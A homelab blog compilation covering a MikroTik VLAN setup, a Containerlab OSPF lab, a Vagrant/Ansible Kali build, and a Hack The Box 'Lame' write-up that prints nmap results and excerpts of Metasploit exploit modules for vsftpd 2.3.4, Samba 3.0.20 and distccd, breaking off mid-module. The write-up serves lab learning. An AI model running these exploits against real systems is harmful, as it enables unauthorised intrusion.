That setup had been working well for my homelab requirements, but I eventually ran into a limitation with using bridges for network segmentation between trusted and untrusted environments. The bridge-based design was straightforward - simply map physical interfaces to their respective bridges and assign dedicated DHCP services. However, as the homelab grew, the physical port capacity on my MikroTik router started becoming a bottleneck.
Over time, every available port ended up being consumed by a mix of homelab gear, servers, wireless access points, and various IoT devices around the house.
Recently, I wanted to introduce additional isolated networks to create sandbox environments for virtual machines and build a safer space for learning penetration testing within my Proxmox virtualisation setup. While my hypervisor still had spare network interfaces available, my MikroTik router had already reached its physical port limit.
That was the point where I started reconsidering the network design. Instead of continuing with a bridge-per-network model, it made more sense to move toward a VLAN-based approach - allowing multiple isolated networks to share the same physical infrastructure while providing far greater scalability and flexibility for future expansion.
In addition, there were several objectives I wanted to achieve by moving to a VLAN-based design within my Proxmox environment:
* The existing management network would remain unchanged and continue using the current setup. Since no VLAN tagging is required for management traffic, it would remain untagged on the default VLAN.
* The network interface connected to my Proxmox VE (PVE) node would be configured as a trunk port, allowing multiple VLANs to be carried over a single physical connection and enabling VLAN tagging directly at the virtual machine network interface level.
* Some VM networks would need to operate as fully isolated environments. These VLANs should have no access to the rest of the homelab infrastructure and only be allowed outbound internet access for operating system updates, package installation, and similar requirements.
* With the trunk configuration in place, I also wanted the flexibility to extend selected VLANs from my home network into the virtual environment, allowing certain VMs to connect and communicate with services already running across the homelab ecosystem.
This approach would provide a more scalable network design while maintaining proper segmentation and control between isolated and shared environments. Here is how I have configured my Mikrotik router to achieve those objectives.
```
/interface bridge
add name=lan vlan-filtering=yes
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no
set [ find default-name=ether2 ] disable-running-check=no
set [ find default-name=ether3 ] disable-running-check=no
set [ find default-name=ether4 ] disable-running-check=no
/interface vlan
add interface=lan name=cam vlan-id=200
add interface=lan name=iot vlan-id=100
add interface=lan name=lab0 vlan-id=10
add interface=lan name=lab1 vlan-id=20
/ip pool
add name=lan ranges=10.0.0.100-10.0.0.200
add name=lab0 ranges=10.10.0.100-10.10.0.200
add name=lab1 ranges=10.20.0.100-10.20.0.200
add name=iot ranges=10.100.0.100-10.100.0.200
add name=cam ranges=10.200.0.100-10.200.0.200
/ip dhcp-server
add address-pool=lan interface=lan name=lan
add address-pool=lab0 interface=lab0 name=lab0
add address-pool=lab1 interface=lab1 name=lab1
add address-pool=iot interface=iot name=iot
add address-pool=cam interface=cam name=cam
/interface bridge port
add bridge=lan interface=ether2
add bridge=lan frame-types=admit-only-untagged-and-priority-tagged interface=\
ether3 pvid=100
add bridge=lan frame-types=admit-only-untagged-and-priority-tagged interface=\
ether4 pvid=200
/interface bridge vlan
add bridge=lan tagged=ether2 vlan-ids=10
add bridge=lan tagged=ether2 vlan-ids=20
add bridge=lan tagged=ether2 vlan-ids=100
/ip address
add address=10.0.0.1/24 interface=lan network=10.0.0.0
add address=10.10.0.1/24 interface=lab0 network=10.10.0.0
add address=10.20.0.1/24 interface=lab1 network=10.20.0.0
add address=10.100.0.1/24 interface=iot network=10.100.0.0
add address=10.200.0.1/24 interface=cam network=10.200.0.0
/ip dhcp-client
add interface=ether1 name=client1
/ip dhcp-server network
add address=10.0.0.0/24 dns-server=1.1.1.1 gateway=10.0.0.1
add address=10.10.0.0/24 dns-server=1.1.1.1 gateway=10.10.0.1
add address=10.20.0.0/24 dns-server=1.1.1.1 gateway=10.20.0.1
add address=10.100.0.0/24 dns-server=1.1.1.1 gateway=10.100.0.1
add address=10.200.0.0/24 dns-server=1.1.1.1 gateway=10.200.0.1
/ip firewall address-list
add address=10.0.0.0/24 list=trusted
add address=10.10.0.0/24 list=trusted
add address=10.20.0.0/24 list=untrusted
add address=10.100.0.0/24 list=untrusted
add address=10.200.0.0/24 list=untrusted
/ip firewall filter
add action=accept chain=forward connection-state=established,related
add action=drop chain=forward dst-address-list=trusted src-address-list=\
untrusted
add action=drop chain=forward dst-address-list=untrusted src-address-list=\
untrusted
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
/system identity
set name=mtr
```
If you prefer using Winbox instead of SSH to manage the MikroTik router, the configuration can be viewed as shown below.
With this configuration in place, the required VLAN can then be assigned and tagged directly at the virtual machine network interface level in PVE, as shown below.
# Supercharge your networking lab with Containerlab
Recently, I discovered that the Containerlab development team released a plugin for VSCodium that provides an integrated GUI experience for managing Containerlab environments. The plugin looked promising, so I decided to try it and explore what it could bring to my workflow.
At first, I was not entirely convinced about the need for a graphical interface for Containerlab. I generally prefer lightweight tools and tend to avoid adding extra layers to my setup, especially on my small desktop machine. Since Containerlab itself is already straightforward and works well from the command line, I initially assumed the plugin was simply a visual wrapper around existing functionality.
After spending some time with it, I found that the plugin offers considerably more than just a graphical interface. Beyond simplifying topology visualization and management, it also integrates additional functionality directly into the VSCodium environment, making the overall workflow more streamlined and convenient.
To get started, the first step is installing the Containerlab plugin in VSCodium. Open the Extensions section, search for **Containerlab**, and install the plugin as shown below.
Previously, I used GNS3 as the primary platform for building and testing my networking labs across various network devices. While GNS3 is feature-rich and capable of handling complex topologies, I found that Containerlab was significantly lighter and simpler for my specific use case and overall lab environment.
Most of my networking experiments and learning activities are centered around MikroTik RouterOS, as it is also the primary platform used within my home network and homelab infrastructure. Migrating to Containerlab felt like a natural choice since it allows me to build and deploy network topologies with minimal overhead while keeping the setup clean and easy to manage.
To evaluate how well it fit into my workflow, I started with a basic OSPF lab using MikroTik RouterOS version 7. The following topology configuration file was used to build the environment.
```
name: mtlab
topology:
nodes:
rt1:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt1-config.rsc
rt2:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt2-config.rsc
rt3:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt3-config.rsc
rt4:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt4-config.rsc
rt5:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt5-config.rsc
rt6:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt6-config.rsc
rt7:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt7-config.rsc
rt8:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt8-config.rsc
rt9:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: rt9-config.rsc
sw1:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: sw1-config.rsc
pc1:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc1-config.rsc
pc2:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc2-config.rsc
pc3:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc3-config.rsc
pc4:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc4-config.rsc
pc5:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc5-config.rsc
pc6:
kind: mikrotik_ros
image: docker.io/iparchitechs/chr:stable
startup-config: pc6-config.rsc
links:
- endpoints: [ "sw1:eth1", "rt1:eth1" ]
- endpoints: [ "sw1:eth2", "rt2:eth1" ]
- endpoints: [ "sw1:eth3", "rt3:eth1" ]
- endpoints: [ "rt2:eth2", "rt3:eth2" ]
- endpoints: [ "rt2:eth3", "rt4:eth1" ]
- endpoints: [ "rt2:eth4", "rt5:eth1" ]
- endpoints: [ "rt2:eth5", "rt6:eth1" ]
- endpoints: [ "rt3:eth3", "rt7:eth1" ]
- endpoints: [ "rt3:eth4", "rt8:eth1" ]
- endpoints: [ "rt3:eth5", "rt9:eth1" ]
- endpoints: [ "rt4:eth2", "pc1:eth1" ]
- endpoints: [ "rt5:eth2", "pc2:eth1" ]
- endpoints: [ "rt6:eth2", "pc3:eth1" ]
- endpoints: [ "rt7:eth2", "pc4:eth1" ]
- endpoints: [ "rt8:eth2", "pc5:eth1" ]
- endpoints: [ "rt9:eth2", "pc6:eth1" ]
```
The above represents the final state of the OSPF lab running in Containerlab. In this setup, the startup-config: parameter is used to automatically load pre-configured settings for each device during deployment. This approach allows the lab environment to be provisioned with a fully functional configuration from the beginning, eliminating the need for manual device configuration after startup.
The complete lab files, including the topology definition and device startup configurations, are available in the GitHub repository -
The repository contains all required files to reproduce the lab environment and deploy it directly within Containerlab. The following screenshot shows how the topology is presented through the Containerlab plugin integrated into VSCodium.
To deploy the lab environment, simply right-click on the `mt-ospf.clab.yml` topology file and select **Deploy** from the context menu.
Once the deployment process is complete, the lab becomes fully operational with all links established and displayed in green, indicating active connectivity between the nodes. Since the topology uses predefined startup configurations, the devices are immediately ready for testing without requiring any additional manual setup.
The VSCodium plugin also provides useful troubleshooting and analysis capabilities. For example, you can right-click on any link within the topology and start a packet capture directly in Wireshark for traffic inspection and protocol analysis.
What makes this especially interesting is that the entire topology operates on containerized network nodes running in Docker behind the scenes. Containerlab abstracts much of the complexity, making it possible to build lightweight, fast, and highly flexible network labs with minimal resource consumption. It is a remarkably powerful approach for creating reproducible networking environments.
Here is the view from the **rt1** router located at the top of the topology. It displays the learned OSPF routes from across the entire network, along with the local OSPF configuration applied to the device.
The output also includes basic connectivity validation, including ping tests to verify end-to-end reachability across the lab. This confirms that OSPF adjacency has been successfully established and that route propagation is functioning as expected throughout the topology.
Once you have finished working on the networking lab, cleaning up the environment is straightforward. Simply right-click on the active running lab and select **Destroy**.
This will remove the deployed topology along with its associated containers and virtual links, freeing up system resources and returning the environment to a clean state. Since Containerlab provisions the lab dynamically, the entire topology can be recreated again at any time using the same configuration files, making the workflow efficient and reproducible.
# Kali Linux with Vagrant for HTB
## Why?
Ever since I embarked on setting up my Offensive Security (OffSec) lab environment, I foresaw the need to streamline the process in case of mishaps with my Kali Linux VM in VirtualBox. And indeed, there were a few instances where experimentation led to unintended consequences. To mitigate this, I resolved to automate the setup every time I needed to reset or modify the Kali Linux VM.
Given my familiarity with Vagrant for managing virtual environments, it made perfect sense to leverage it for setting up the Kali Linux VM in VirtualBox. I stumbled upon the Kali Linux Vagrant box available on HashiCorp's Vagrant Cloud site, accessible at . For provisioning, I opted for Ansible without hesitation, confident in its ability to prepare the VM for my OffSec endeavors.
## Prerequisites
* VirtualBox installation -
* Vagrant installation -
* Visual Studio Code (vscode) -
* Willingness to learn a bit of Vagrant's Ruby and Ansible's YAML syntax
* Basic Linux Sysadmin knowledge and skills
## Starting Point
I have uploaded the source code of Vagrantfile and Ansible playbook.yml along with the required sample files on GitHub -
Visual Studio Code - Setup
### Vagrantfile
Here is what my Vagrantfile looks like as show below.
```ruby
# -*- mode: ruby -*-
# vi: set ft=ruby :
OS = "rolling"
BOX_IMAGE = "kalilinux/#{OS}"
NODE_COUNT = 1
Vagrant.configure("2") do |config|
(1..NODE_COUNT).each do |i|
config.vm.define "#{OS}-#{i}" do |subconfig|
subconfig.vm.box = BOX_IMAGE
subconfig.vm.hostname = "#{OS}-#{i}"
subconfig.vm.network :private_network, ip: "192.168.56.#{i + 100}"
end
end
config.vm.provision "ansible_local" do |a|
a.playbook = "playbook.yml"
end
end
```
The code is a Vagrantfile written in Ruby, used to configure and provision virtual machines (VMs) with Vagrant. Here's an explanation of each section:
1. **File Metadata**:
* `# -*- mode: ruby -*-` and `# vi: set ft=ruby :` are editor configuration comments. They indicate that the file should be treated as Ruby code by text editors like Emacs and Vim.
2. **Global Variables**:
* `OS = "rolling"`: Specifies the operating system version. In this case, it's set to "rolling," indicating the rolling release version of Kali Linux.
* `BOX_IMAGE = "kalilinux/#{OS}"`: Defines the Vagrant box image to be used. It's constructed dynamically based on the OS variable.
* `NODE_COUNT = 1`: Sets the number of virtual machines to be created. In this case, it's set to create a single VM.
3. **Vagrant Configuration**:
* `Vagrant.configure("2") do |config|`: Begins the Vagrant configuration block.
* `(1..NODE_COUNT).each do |i|`: Loops through the range of 1 to NODE\_COUNT (inclusive), creating multiple VMs if NODE\_COUNT is greater than 1.
* `config.vm.define "#{OS}-#{i}" do |subconfig|`: Defines a VM with a specific name based on the OS and index.
* `subconfig.vm.box = BOX_IMAGE`: Specifies the Vagrant box image to use for the VM.
* `subconfig.vm.hostname = "#{OS}-#{i}"`: Sets the hostname of the VM based on the OS and index.
* `subconfig.vm.network :private_network, ip: "192.168.56.#{i + 100}"`: Configures a private network interface for the VM with a dynamically assigned IP address.
4. **Ansible Provisioning**:
* `config.vm.provision "ansible_local" do |a|`: Configures Ansible provisioning to run locally on the VM.
* `a.playbook = "playbook.yml"`: Specifies the Ansible playbook to be executed for provisioning. The playbook is named "playbook.yml".
This Vagrantfile sets up a single Kali Linux VM with a private network interface and provisions it using an Ansible playbook named "playbook.yml". The VM is named dynamically based on the OS and index specified in the global variables.
### Ansible (provisioner)
Following is what my Ansible playbook.yml file looks like.
```yaml
---
- name: kali setup
hosts: all
become: true
gather_facts: false
tasks:
- name: set timezone to Australia/Melbourne
timezone:
name: Australia/Melbourne
- name: install tools
apt:
name: "{{ item }}"
update_cache: true
loop:
- tmux # enables a number of terminals (or windows) to be accessed and controlled from a single terminal like screen
- feh # fast, lightweight image viewer which uses imlib2
- gobuster # tool used to brute-force URIs including directories and files as well as DNS subdomains
- nuclei # fast, template based vulnerability scanner focusing on extensive configurability, massive extensibility and ease of use
- dirsearch # command-line tool designed to brute force directories and files in webservers
- nishang # framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetration Tests
- seclists # collection of multiple types of lists used during security assessments
- steghide # steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven.
- exiftool # a free and open-source software program for reading, writing, and manipulating image, audio, video, and PDF metadata.
- name: copy ssh pubkey to remote
authorized_key:
user: vagrant
key: "{{ lookup('file', 'files/me.pub') }}"
- block:
- name: create htb directory
file:
state: directory
path: /home/vagrant/htb
register: htb
- name: copy htb ovpn file to remote
copy:
src: files/lab_tylalin.ovpn
dest: "{{ htb.path }}"
- name: download pimpmykali with git
git:
repo: https://github.com/Dewalt-arch/pimpmykali.git
dest: /home/vagrant/add-on
become: true
become_user: vagrant
```
The Ansible playbook is designed to set up a Kali Linux environment with various tools and configurations. Here's a breakdown of its components:
1. **Playbook Metadata**:
* `name: kali setup`: Specifies the name of the playbook.
* `hosts: all`: Indicates that the playbook will be applied to all hosts.
* `become: true`: Allows the tasks to be executed with elevated privileges.
* `gather_facts: false`: Disables the gathering of facts about the hosts.
2. **Tasks**:
* **Set Timezone**: Configures the timezone to "Australia/Melbourne" using the `timezone` module.
* **Install Tools**: Installs various tools using the `apt` module. Tools include `tmux`, `feh`, `gobuster`, `nuclei`, `dirsearch`, `nishang`, `seclists`, `steghide`, and `exiftool`.
* **Copy SSH Public Key**: Copies an SSH public key to the remote host's `vagrant` user's authorized keys list, allowing passwordless SSH authentication.
* **Block**: Defines a block of tasks that are executed sequentially.
* **Create HTB Directory**: Creates a directory named "htb" in the home directory of the `vagrant` user.
* **Copy HTB OVPN File**: Copies an OpenVPN configuration file (`lab_tylalin.ovpn`) to the "htb" directory.
* **Download PimpMyKali with Git**: Clones the PimpMyKali repository from GitHub into the "/home/vagrant/add-on" directory.
3. **Additional Notes**:
* The `become` and `become_user` directives are used within the block to execute tasks as the `vagrant` user with elevated privileges.
* The `register` keyword is used to store the result of the "create htb directory" task, which can be referenced later if needed.
It automates the setup of a Kali Linux environment, installs essential tools, configures the timezone, sets up SSH authentication, and prepares directories and files required for penetration testing activities.
## Final Thoughts
I intend to blog about a step-by-step instructions, making it easy for you to follow along and set up your own Kali Linux environment. Each step is well-explained, ensuring that even beginners can understand and implement the process. It emphasises the practicality of using Vagrant for managing Kali Linux VMs, especially for someone who frequently engage in activities like penetration testing on HTB. By automating the setup process, you can save time and quickly deploy standardised environments.
Given the popularity of HTB and the importance of having a reliable Kali Linux setup for ethical hacking and penetration testing, the content of this post is highly relevant to anyone who like to setup a throw away Kali Linux environment for home lab. It addresses a common need among security professionals and enthusiasts alike. While this post provide a solid foundation for setting up Kali Linux with Vagrant for HTB, I also encourages you to customise your environments according to your preferences and requirements. This flexibility allows you to tailor your setups to better suit your workflow and objectives.
In conclusion, this blog post serves as a valuable resource for individuals looking to streamline the Kali Linux setup process for Hack The Box activities. It offers practical guidance, emphasises the benefits of using Vagrant, and empowers you to customise your environments for optimal performance.
# HTB: Lame Write-Up
## Recons
### nmap
Let's start with nmap to perform active scanning on the target machine.
```bash
nmap -vvv -Pn -sCV -p0-65535 --reason -oN lame.nmap 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.23s latency).
Scanned at 2023-11-01 07:02:56 EDT for 405s
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open @þ¯NV syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59488/tcp): CLEAN (Timeout)
| Check 2 (port 36056/tcp): CLEAN (Timeout)
| Check 3 (port 40169/udp): CLEAN (Timeout)
| Check 4 (port 26132/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m45s, deviation: 2h49m43s, median: -15s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-11-01T07:08:44-04:00
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 1 07:09:41 2023 -- 1 IP address (1 host up) scanned in 405.22 seconds
```
As you can see in the output of nmap scan, there are a few things opening for us to exploit such as vsftp, ssh, samba and distccd. From what we know about the target, let's explore those options in details by utilising searchsploit for the potential exploits and vulnerabilities.
### searchsploit
#### vsftpd
Let's start with vsftpd for searchsploit as shown below.
```bash
searchsploit vsFTPd
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```
The exploit "vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)" looks quite promising since it is the version the target machine is running on it. If you are curious about the exploit in more details, we can drill into it as below. Remember to focus on the function "def exploit" in which it has the actual code to exploit the vulnerability.
```bash
searchsploit -x 17491
##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
},
'Author' => [ 'hdm', 'mc' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13099 $',
'References' =>
[
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 3 2011',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(21) ], self.class)
end
def exploit # <===== EXPLOIT
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end
# Connect to the FTP service port first
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
disconnect
end
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end
print_good("UID: #{r.strip}")
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
end
```
#### samba
We know that the samba version it runs on the target machine based on the nmap scan - "Samba smbd 3.0.20-Debian". There is a well-known CVE for samba in 2007 which is [2007-2447](https://nvd.nist.gov/vuln/detail/CVE-2007-2447). Let's explore a bit more with searchsploit to understand it better.
```bash
searchsploit samba 2007
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions | php/webapps/4575.txt
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | osx/remote/16875.rb
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit) | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow | linux/dos/4732.c
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```
Based on the Google results of that CVE, I have found an entry on [exploit-db.com](https://www.exploit-db.com/exploits/16320) which describes as "Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)". Let's delve in a bit more into the exploit. It affects the samba version 3.0.20 to 3.0.25rc3 so it could be the best bet to mark it a potential attack vector.
```bash
searchsploit -x 16320
##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB
# For our customized version of session_setup_ntlmv1
CONST = Rex::Proto::SMB::Constants
CRYPT = Rex::Proto::SMB::Crypt
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba "username map script" Command Execution',
'Description' => %q{
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.
No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10040 $',
'References' =>
[
[ 'CVE', '2007-2447' ],
[ 'OSVDB', '34700' ],
# More Ruby Code HERE.....
def exploit # <===== EXPLOIT
connect
# lol?
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end
handler
end
end
```
#### distcc
Another attack vector we have found on the target is distcc which is a program that allows distributed compilation of code across multiple computers. It is often used to speed up the compilation process by distributing the workload among multiple machines in a network. To check if it has any vulnerability, again we run searchsploit.
```bash
searchsploit distcc
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```
Well, it gets one hit in searchsploit so let's zoom in and see what we can find more about it.
```bash
searchsploit -x 9915
##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DistCC Daemon Command Execution',
'Description' => %q{
This module uses a documented security weakness to execute
arbitrary commands on any system running distccd.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2004-2687'],
[ 'OSVDB', '13378' ],
[ 'URL', 'http://distcc.samba.org/security.html'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
# some more Ruby code HERE
def exploit # <----- EXPLOIT
connect
distcmd = dist_cmd("sh", "-c", payload.encoded);
sock.put(distcmd)
dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")
res = sock.get_once(24, 5)
if !(res and res.length == 24)
print_status("The remote distccd did not reply to our request")
disconnect
return
end
# Check STDERR
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
return if not len
